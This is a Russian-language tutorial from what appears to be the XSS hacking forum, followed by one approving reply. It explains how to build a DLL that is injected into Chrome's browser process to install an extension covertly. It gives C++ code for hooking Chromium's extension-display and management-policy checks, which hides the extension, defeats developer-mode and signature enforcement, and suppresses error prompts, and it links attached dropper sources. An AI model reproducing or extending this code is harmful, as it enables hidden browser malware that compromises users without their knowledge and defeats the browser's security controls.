• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Дроппер скрытого расширения в chrome (chromium)

c0listin

floppy-диск
Пользователь
Регистрация
07.10.2025
Сообщения
3
Реакции
17
Гарант сделки
1
Вступление

С помощью этой статьи вы сможете написать собственный дроппер расширений для любого браузера на основе Chromium (возможно, есть исключения, но для большинства популярных решений — таких как Edge, Opera, Brave — API расширений остаётся неизменным). В качестве примера я выбрал браузер Chrome (x64), так как он занимает большую часть рынка.

Для установки расширения Chromium использует два основных класса — CrxInstaller и UnpackedInstaller. Хочу сразу отметить, что можно использовать любой из них, но второй даёт возможность сохранить расширение активным после перезагрузки браузера без повторной инъекции shell-кода (хотя в этом случае расширение будет видно в списке расширений). С CrxInstaller, к сожалению, такого можно добиться только для подписанных расширений. При внедрённом же shell-коде (для обоих вариантов) активное состояние достигается путём хука одной и той же функции, что позволяет обойти необходимость режима разработчика и цифровой подписи.

Вся информация об именах классов, функций и полей взята из официального репозитория Chromium на GitHub.

Схема работы

1. Находим процесс браузера

Браузеры на основе Chromium используют многопроцессную архитектуру: процесс браузера и процессы воркеры. Для каждой User Data (даже если в ней несколько профилей) — создаётся один процесс браузера, в который и будет производиться внедрение shell-кода.

Как понять, какой из процессов является браузерным? Это можно сделать, перечислив окна (например, через EnumWindows(Для ручного поиска могу порекомендовать инструмент WinSpy)) и определив, какие из них принадлежат процессу с именем нашего браузера — этот процесс и будет искомым. Дополнительно в самом shell-коде можно вызвать экспорт из <browser_name>_elf.dll с именем IsBrowserProcess — если он возвращает true, процесс определён верно.

Пример для Chrome:
C++:
bool chrome::ChromeApi::is_browser_process() {
  using IsBrowserProcessFn = bool(__fastcall*)();
  auto hchrome_elf = GetModuleHandleW(L"chrome_elf.dll");
  if (hchrome_elf == nullptr) {
    return false;
  }
  auto is_browser_process_fn = reinterpret_cast<IsBrowserProcessFn>(GetProcAddress(hchrome_elf, "IsBrowserProcess"));
  if (is_browser_process_fn == nullptr) {
    return false;
  }
  return is_browser_process_fn();
}

2. Проникаем в UI-поток

Для обеспечения асинхронности и гарантии того, что необходимые задачи будут выполнены последовательно (в порядке приоритета) в нужном потоке, браузеры на базе Chromium используют тредпул с именованными потоками — как правило, это UI и IO. Большая часть методов, требуемых для установки расширения, должна выполняться из UI-потока. Это видно по строке DCHECK_CURRENTLY_ON(content::BrowserThread::UI); внутри этих методов. Если же попытаться вызвать их из нашего потока, то браузер аварийно завершит свою работу.

Чтобы выполнить код в UI-потоке, нужно получить объект класса SingleThreadTaskRunner для UI-потока и вызвать у него метод PostDelayedTask, передав указатель на наш callback. Объект раннера можно получить через вызов GetUIThreadTaskRunner.

CHROMIUM REPOSITORY:

  • content/public/browser/browser_thread.h
  • content/browser/browser_thread_impl.h
  • content/browser/browser_thread_impl.cc
После того как наш код начинает выполняться в UI-потоке, можно переходить к установке расширения.

3. Установка расширения

Прежде чем создавать объект класса UnpackedInstaller, необходимо получить список профилей, в которые будет устанавливаться расширение. Для этого используется класс ProfileManager, указатель на который можно получить через метод profile_manager класса BrowserProcess. Сам BrowserProcess существует в единственном экземпляре и хранится в виде глобальной переменной: extern BrowserProcess* g_browser_process;

CHROMIUM REPOSITORY:
  • chrome/browser/browser_process.h
  • chrome/browser/browser_process_impl.h
  • chrome/browser/browser_process_impl.cc
  • chrome/browser/profiles/profile_manager.h
  • chrome/browser/profiles/profile_manager.cc
  • chrome/browser/profiles/profile.h
  • chrome/browser/profiles/profile.cc
  • chrome/browser/profiles/profile_impl.h
  • chrome/browser/profiles/profile_impl.cc


Проблема с незагруженными профилями. Метод GetLoadedProfiles из класса ProfileManager возвращает только те профили, которые уже были загружены в браузер. Но что делать с профилями, которые пользователь ещё не открыл или не создал? Создание отдельного потока для мониторинга списка профилей — не самое лучшее решение. Однако существует более изящный способ, и перед его описанием необходимо еще немного погрузиться в анализ класса ProfileManager. Менеджер профилей хранит в себе поле с объектом класса BrowserListObserver, в котором существуют методы OnBrowserAdded и OnBrowserRemoved. Эти методы вызываются при открытии/создании и закрытии/удалении профиля браузера, соответственно. Решение заключается в хукe метода OnBrowserAdded и извлечении из его параметра указателя на объект класса Profile.

Проверка профиля. Необходимо убедиться, что профиль не является гостевым или системным, поскольку для таких профилей установка расширений недоступна. Проверка выполняется через метод IsRegularProfile в классе Profile.

Теперь, когда у нас есть указатель на Profile, мы можем создать объект класса UnpackedInstaller, вызвав статический метод UnpackedInstaller::Create и передав в него наш профиль.

CHROMIUM REPOSITORY:
  • chrome/browser/extensions/unpacked_installer.h
  • chrome/browser/extensions/unpacked_installer.cc


Настройка и вызов Load. Перед установкой необходимо настроить несколько параметров инсталлера:
C++:
installer->set_be_noisy_on_failure(false); // Отключаем message box при ошибке
installer->set_allow_incognito_access(true); // Включаем поддержку инкогнито
installer->set_completion_callback(callback); // Устанавливаем callback, который будет вызван после установки расширения или её ошибки

Сигнатура callback-функции:
C++:
base::OnceCallback<void(const Extension*, const base::FilePath&, const std::string&)>;
  • Первый параметр — указатель на установленное расширение.
  • Второй — путь к каталогу расширения.
  • Третий — строка ошибки. Если она пуста, значит, установка прошла успешно.

⚠️ Важно: completion_callback вызывается уже после того, как расширение было добавлено в список для отрисовки и на отключение/блокировку. Поэтому, если необходимо скрыть расширение, следует заранее сохранить путь к нему и использовать в хукнутых методах. Об этом подробнее в следующем пункте.

Затем вызываем метод Load, передав полный путь к директории с расширением:
C++:
installer->Load(L"C:\\path\\to\\extension");

После успешной установки, расширение необходимо активировать, вызвав метод ExtensionRegistrar::GrantPermissionsAndEnableExtension.

CHROMIUM REPOSITORY:

  • extensions/browser/extension_registrar.h
  • extensions/browser/extension_registrar.cc
4. Визуальное скрытие расширения и обход режима разработчика

Чтобы скрыть расширение из интерфейса браузера и обойти режим разработчика, необходимо установить хук на ряд методов, отвечающих за отрисовку и активацию расширений.
Разберёмся, какие именно методы за что отвечают:

ui_util::ShouldDisplayInExtensionSettingsПроверка на необходимость отображения расширения в списке расширений
CHROMIUM REPOSITORY:
  • extensions/browser/ui_util.h
  • extensions/browser/ui_util.cc
ToolbarActionsModel::ShouldAddExtensionПроверка на необходимость отображения расширения в панели инструментов (тулбаре)
CHROMIUM REPOSITORY:
  • chrome/browser/ui/toolbar/toolbar_actions_model.h
  • chrome/browser/ui/toolbar/toolbar_actions_model.cc
ManagementPolicy::MustRemainDisabledПроверка на необходимость отключения расширения из-за политики безопасности
CHROMIUM REPOSITORY:
  • extensions/browser/management_policy.h
  • extensions/browser/management_policy.cc

Если заглянуть в исходники Chromium, можно увидеть, что все эти методы принимают в качестве параметра указатель на объект класса Extension. Это позволяет нам получить путь к расширению через extension->path().



Установка хуков. Теперь, когда мы знаем, какие методы отвечают за отображение и отключение расширения, наша задача — установить хук на каждый из них.
Логика обхода:
  1. Внутри хукнутого метода получаем путь установленного расширения.
  2. Сравниваем его с путём к нашему (скрываемому) расширению.
  3. Если пути совпадают, возвращаем false, чтобы обойти автоматическое отключение расширения и скрыть его от пользователя.
Пример логики хука:
C++:
bool __fastcall chrome::ChromeApi::hk_must_remain_disabled(void* management_policy, Extension* extension, void* reason) {
  auto chrome_api = ChromeApi::get();
  return chrome_api->is_hidden_extension(extension) ? false : chrome_api->hk_must_remain_disabled_fn_(management_policy, extension, reason);
}
Аналогичным образом подменяются и остальные методы.

Анализ модуля браузера

В предыдущей главе мы разобрались с принципом работы установщика, следующий шаг — извлечение необходимых данных из памяти браузера. Все они находятся в главном модуле (для Сhrome это файл chrome.dll, который обычно расположен в директории "C:\Program Files\Google\Chrome\Application\<version>\").
Дабы упростить себе анализ, будем использовать отладочные символы, которые можно скачать с официального хранилища Chrome.

Загружаем файлы chrome.dll и chrome.dll.pdb в IDA или любой другой дизассемблер и немного подождем, пока он их просканирует.
Поиск каждого метода я описывать не буду, так как это растянет статью на десяток страниц из однотипного текста и изображений. Вместо этого я покажу основные моменты, на которые стоит обратить внимание, чтобы вы могли самостоятельно разобраться с исходниками дроппера, которые я приложу к статье.

Чтобы найти любой из вышеупомянутых методов, достаточно ввести его название в поле поиска "Function name". Для глобальных переменных в IDA нужно нажать Shift + F4 (или выбрать View -> Open subviews -> Names) и найти нужную переменную в открывшемся окне.

1760699335015.png

1760699469151.png


Теперь, нужно создать сигнатуру, по которой дроппер будет искать данные. Для этого можно использовать плагин SigMaker для IDA.

1760699728206.png

Информацию о поиске данных в памяти по сигнатуре можно найти в Google, благо по этой теме доступно множество материалов.



Далее важным моментом является передача callback'а в функцию. Просто передать указатель на функцию не получится. Для этого Chromium использует указатель на класс BindState, который создаётся при помощи метода base::BindOnce.

CHROMIUM REPOSITORY:
  • base/functional/bind.h
  • base/functional/bind_internal.h
  • base/functional/callback.h
  • base/functional/callback_forward.h
  • base/functional/callback_internal.h
Упрощённо, структура BindState имеет следующий вид:
C++:
struct BindState {
  std::atomic_uint32_t ref_count;  // счётчик ссылок
  InvokeFuncStorage polymorphic_invoke;  // указатель на функцию, вызывающую functor с передачей ему bound_args и аргументов переданных при вызове
  DestructorPtr destructor;  // указатель на функцию, вызываемую при обнулении счётчика ссылок для уничтожения самого объекта BindState
  QueryCancellationTraitsPtr query_cancellation_traits;  // указатель на функцию, возвращающую информацию о состоянии callback'а
  Functor functor;  // сам callback
  BoundArgsTuple bound_args;  // сохранённые аргументы, привязанные к callback
};

Писать полноценную реализацию Bind — нет необходимости. Вместо этого напишем упрощенный вариант, который выглядит следующим образом:
C++:
template <typename Fn>
class BindOnce {};

template <typename Param, typename Ret, typename... Args>
class BindOnce<Ret(*)(Param&, Args...)> {
 public:
  using FunctorFn = Ret(*)(Param&, Args...);
  using DestructorFn = void(__fastcall*)(BindOnce*);

  BindOnce(FunctorFn functor, const Param& bound_arg, DestructorFn destructor = nullptr) : functor_{functor}, bound_arg_{bound_arg}, destructor_{destructor} {}

 private:
  using InvokeFuncStorageFn = Ret(__fastcall*)(BindOnce*, Args...);
  using QueryCancellationTraitsFn = bool(__fastcall*)(BindOnce*, bool);

  static Ret __fastcall polymorphic_invoke(BindOnce* bind_ptr, Args... args) {
    return bind_ptr->functor_(bind_ptr->bound_arg_, args...);
  }
  static bool __fastcall query_cancellation_traits(BindOnce* bind_ptr, bool mode) {
    return mode;
  }

  uint32_t ref_count_ = 1;
  InvokeFuncStorageFn polymorphic_invoke_ = polymorphic_invoke;
  DestructorFn destructor_;
  QueryCancellationTraitsFn query_cancellation_traits_ = query_cancellation_traits;
  FunctorFn functor_;
  size_t bound_args_count_ = 1;
  Param bound_arg_;
};

template <typename Fn, typename Param>
auto chrome_bind_once(Fn functor, const Param& bound_arg) {
  auto bind_ptr = std::make_unique<BindOnce<Fn>>(functor, bound_arg, [](BindOnce<Fn>* bind_ptr) {
    if (bind_ptr) {
      std::unique_ptr<BindOnce<Fn>> bo{bind_ptr};
    }
  });
  return bind_ptr.release();
}

Пример использования в PostDelayedTask:
C++:
void chrome::SingleThreadTaskRunner::post_task(const TaskCallbackFn& callback) {
  auto bind_ptr = chrome_bind_once(&executor, callback);
  Location loc{};
  mh::invoke_vfunc<void>(this, 0, &loc, &bind_ptr, static_cast<int64_t>(0));
}

void chrome::SingleThreadTaskRunner::executor(TaskCallbackFn& callback) {
  callback();
}



Проблема совместимости. Chromium использует стандартную библиотеку C++, но реализация контейнеров может отличаться от той, которую использует ваш компилятор. Чтобы избежать ошибок и непредсказуемого поведения, необходимо реализовать собственные адаптеры, имитирующие структуру данных так, как она представлена в Chromium.

1760700455488.png

На изображении выше показана инициализация для std::wstring в Chrome, где особое внимание стоит уделить оптимизации малых строк (Small String Optimization).

Если длина строки ≤ 10 символов:
  • Данные хранятся внутри самого объекта (std::wstring) без выделения динамической памяти.
  • Первые 23 байта содержат символы.
  • 24-й байт содержит размер строки.
Длинные строки (более 10 символов):
  • Строка хранится в классическом виде с тремя полями:
  • data — указатель на буфер.
  • size — текущая длина.
  • capacity — объём буфера.
  • 64-й бит поля capacity установлен в 1, чтобы отличить такой формат от малого.
Ниже представлена реализация адаптера, который повторяет внутреннюю структуру std::wstring, используемую в Chromium:
C++:
class WideString {
 public:
  WideString() = default;
  WideString(std::wstring_view str) {
    if (str.empty()) {
      return;
    }
    if (str.size() <= 0x0A) {
      memcpy(this, str.data(), str.size() * sizeof(wchar_t));
      capacity_ = str.size() << 56;
      return;
    }
    size_ = str.size();
    capacity_ = 13;
    if ((size_ | 0x03) != 0x0B) {
      capacity_ = (size_ | 0x03) + 1;
    }
    data_ = new wchar_t[capacity_];
    capacity_ |= 0x8000000000000000;
    memcpy(data_, str.data(), str.size() * sizeof(wchar_t));
  }

  size_t get_size() {
    auto size = static_cast<size_t>((capacity_ >> 56) & 0xFF);
    return (size == (1 << 7)) ? size_ : size;
  }
  wchar_t* get_data() {
    return ((capacity_ >> 63) & 0x01) ? data_ : reinterpret_cast<wchar_t*>(this);
  }
  void clear() {
    if ((capacity_ >> 63) & 0x01) {
      delete[] data_;
    }
  }

  std::wstring get_std_wstring() {
    return std::wstring{get_data(), get_size()};
  }

  operator std::wstring() {
    return get_std_wstring();
  }

 private:
  wchar_t* data_ = nullptr;
  size_t size_ = 0;
  size_t capacity_ = 0;
};
Реализацию для остальных контейнеров вы также сможете посмотреть в прикреплённых исходниках.

Эксплуатация

После того, как вы собрали extension_dropper.dll, её необходимо заинжектить (например, с помощью Process Hacker) в главный процесс Chrome — как его найти, я уже описывал в предыдущей главе.
P.S. Тесты проводились на версии Chrome 141.0.7390.108.
 

Вложения

  • extension_dropper.zip
    86.1 КБ · Просмотры: 30
Хорошая, интересная статья
Все максимально коротко и по сути, при этом содержательно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх